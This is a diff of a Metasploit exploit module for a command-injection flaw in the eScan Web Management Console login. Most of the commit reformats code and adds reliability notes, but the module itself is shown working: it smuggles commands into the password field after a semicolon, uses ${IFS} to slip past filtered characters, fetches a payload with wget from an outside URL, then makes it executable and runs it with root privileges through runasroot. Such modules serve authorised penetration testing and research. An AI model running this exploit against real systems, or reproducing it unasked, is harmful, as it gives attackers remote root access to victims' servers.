@@ -11,41 +11,46 @@ class MetasploitModule < Msf::Exploit::Remote
11
11
include Msf ::Exploit ::EXE
12
12
include Msf ::Exploit ::FileDropper
13
13
14
- def initialize ( info = { } )
15
- super ( update_info ( info ,
16
- 'Name' => "eScan Web Management Console Command Injection" ,
17
- 'Description' => %q{
18
- This module exploits a command injection vulnerability found in the eScan Web Management
19
- Console. The vulnerability exists while processing CheckPass login requests. An attacker
20
- with a valid username can use a malformed password to execute arbitrary commands. With
21
- mwconf privileges, the runasroot utility can be abused to get root privileges. This module
22
- has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
23
- } ,
24
- 'License' => MSF_LICENSE ,
25
- 'Author' =>
26
- [
14
+ def initialize ( info = { } )
15
+ super (
16
+ update_info (
17
+ info ,
18
+ 'Name' => 'eScan Web Management Console Command Injection' ,
19
+ 'Description' => %q{
20
+ This module exploits a command injection vulnerability found in the eScan Web Management
21
+ Console. The vulnerability exists while processing CheckPass login requests. An attacker
22
+ with a valid username can use a malformed password to execute arbitrary commands. With
23
+ mwconf privileges, the runasroot utility can be abused to get root privileges. This module
24
+ has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
25
+ } ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Author' => [
27
28
'Joxean Koret' , # Vulnerability Discovery and PoC
28
29
'juan vazquez' # Metasploit module
29
30
] ,
30
- 'References' =>
31
- [
31
+ 'References' => [
32
32
[ 'URL' , 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
33
33
] ,
34
- 'Payload' =>
35
- {
36
- 'BadChars' => "" , # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
34
+ 'Payload' => {
35
+ 'BadChars' => '' , # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
37
36
'DisableNops' => true
38
37
} ,
39
- 'Arch' => ARCH_X86 ,
40
- 'Platform' => 'linux' ,
41
- 'Privileged' => true ,
42
- 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
43
- 'Targets' =>
44
- [
38
+ 'Arch' => ARCH_X86 ,
39
+ 'Platform' => 'linux' ,
40
+ 'Privileged' => true ,
41
+ 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
42
+ 'Targets' => [
45
43
[ 'eScan 5.5-2 / Linux' , { } ] ,
46
44
] ,
47
- 'DisclosureDate' => '2014-04-04' ,
48
- 'DefaultTarget' => 0 ) )
45
+ 'DisclosureDate' => '2014-04-04' ,
46
+ 'DefaultTarget' => 0 ,
47
+ 'Notes' => {
48
+ 'Stability' => [ CRASH_SAFE ] ,
49
+ 'SideEffects' => [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ] ,
50
+ 'Reliability' => [ REPEATABLE_SESSION ]
51
+ }
52
+ )
53
+ )
49
54
50
55
register_options (
51
56
[
@@ -56,17 +61,17 @@ def initialize(info={})
56
61
OptInt . new ( 'HTTPDELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] ) ,
57
62
OptString . new ( 'WRITABLEDIR' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
58
63
OptString . new ( 'RUNASROOT' , [ true , 'Path to the runasroot binary' , '/opt/MicroWorld/sbin/runasroot' ] ) ,
59
- ] )
64
+ ]
65
+ )
60
66
end
61
67
62
-
63
68
def check
64
69
res = send_request_cgi ( {
65
70
'method' => 'GET' ,
66
- 'uri' => normalize_uri ( target_uri . path . to_s , 'index.php' )
71
+ 'uri' => normalize_uri ( target_uri . path . to_s , 'index.php' )
67
72
} )
68
73
69
- if res and res . code == 200 and res . body =~ /eScan WebAdmin/
74
+ if res && ( res . code == 200 ) && res . body =~ ( /eScan WebAdmin/ )
70
75
return Exploit ::CheckCode ::Detected
71
76
end
72
77
@@ -76,12 +81,13 @@ def check
76
81
def cmd_exec ( session , cmd )
77
82
case session . type
78
83
when /meterpreter/
79
- print_warning ( " Use a shell payload in order to get root!" )
84
+ print_warning ( ' Use a shell payload in order to get root!' )
80
85
when /shell/
81
86
o = session . shell_command_token ( cmd )
82
87
o . chomp! if o
83
88
end
84
- return "" if o . nil?
89
+ return '' if o . nil?
90
+
85
91
return o
86
92
end
87
93
@@ -100,7 +106,7 @@ def primer
100
106
def on_request_uri ( cli , request )
101
107
print_status ( "Request: #{ request . uri } " )
102
108
if request . uri =~ /#{ Regexp . escape ( get_resource ) } /
103
- print_status ( " Sending payload..." )
109
+ print_status ( ' Sending payload...' )
104
110
send_response ( cli , @pl )
105
111
end
106
112
end
@@ -110,30 +116,30 @@ def autofilter
110
116
end
111
117
112
118
def exploit
113
- @pl = generate_payload_exe
119
+ @pl = generate_payload_exe
114
120
115
- @payload_url = ""
121
+ @payload_url = ''
116
122
117
123
if datastore [ 'EXTURL' ] . blank?
118
124
begin
119
- Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
120
- rescue Timeout ::Error
125
+ Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
126
+ rescue Timeout ::Error => e
127
+ vprint_error ( e . message )
121
128
end
122
- exec_payload
123
129
else
124
130
@payload_url = datastore [ 'EXTURL' ]
125
131
wget_payload
126
- exec_payload
127
132
end
133
+ exec_payload
128
134
end
129
135
130
136
# we execute in this way, instead of an ARCH_CMD
131
137
# payload because real badchars are: |&)(!><'"`[space]
132
138
def wget_payload
133
- @dropped_elf = rand_text_alpha ( rand ( 5 ) + 3 )
139
+ @dropped_elf = rand_text_alpha ( rand ( 3 .. 7 ) )
134
140
command = "wget${IFS}#{ @payload_url } ${IFS}-O${IFS}#{ File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) } "
135
141
136
- print_status ( " Downloading the payload to the target machine..." )
142
+ print_status ( ' Downloading the payload to the target machine...' )
137
143
res = exec_command ( command )
138
144
if res && res . code == 302 && res . headers [ 'Location' ] && res . headers [ 'Location' ] =~ /index\. php\? err_msg=password/
139
145
register_files_for_cleanup ( File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) )
@@ -146,14 +152,14 @@ def exec_payload
146
152
command = "chmod${IFS}777${IFS}#{ File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf ) } ;"
147
153
command << File . join ( datastore [ 'WRITABLEDIR' ] , @dropped_elf )
148
154
149
- print_status ( " Executing the payload..." )
155
+ print_status ( ' Executing the payload...' )
150
156
exec_command ( command , 1 )
151
157
end
152
158
153
- def exec_command ( command , timeout = 20 )
159
+ def exec_command ( command , timeout = 20 )
154
160
send_request_cgi ( {
155
161
'method' => 'POST' ,
156
- 'uri' => normalize_uri ( target_uri . path . to_s , 'login.php' ) ,
162
+ 'uri' => normalize_uri ( target_uri . path . to_s , 'login.php' ) ,
157
163
'vars_post' => {
158
164
'uname' => datastore [ 'USERNAME' ] ,
159
165
'pass' => ";#{ command } " ,
0 commit comments